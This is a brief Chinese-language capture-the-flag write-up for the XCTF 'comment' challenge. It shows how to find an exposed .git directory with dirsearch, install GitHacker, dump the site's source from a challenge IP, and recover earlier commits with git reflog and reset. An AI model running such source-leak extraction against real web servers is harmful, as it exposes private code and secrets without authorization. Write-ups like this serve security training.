【xctf】comment，git泄露git修复

dirsearch -u发现git目录，burpsuit的spider爬虫发现login等目录

githacker拿源码

sudo pip3 install GitHacker

//创建软连接放到 /usr/bin 或者 /usr/sbin 目录下
cd /usr/sbin			
sudo ln -s /home/<用户名>/.local/bin/githacker	

//添加到环境变量中
sudo vi /etc/profile

:/home/<用户名>/.local/bin/

//使环境变量生效
source /etc/profile

如果软连接创建失误，提示

ln: failed to create symbolic link './githacker': File exists

sudo rm -rf ./githacker命令删除错误的软连接

:/home/<用户名>/.local/bin/添加位置

根据提示写命令获取源码

githacker --url http://111.200.241.244:58440/.git/ --output-folder ./111 

cd 到111释放的文件夹，git修复

//查看历史coomit
git log --reflog

//(HEAD -> master, origin/master, origin/HEAD)的是当前git下载
git reset --hard 最新commit编号

//重新查看文件
cat 文件名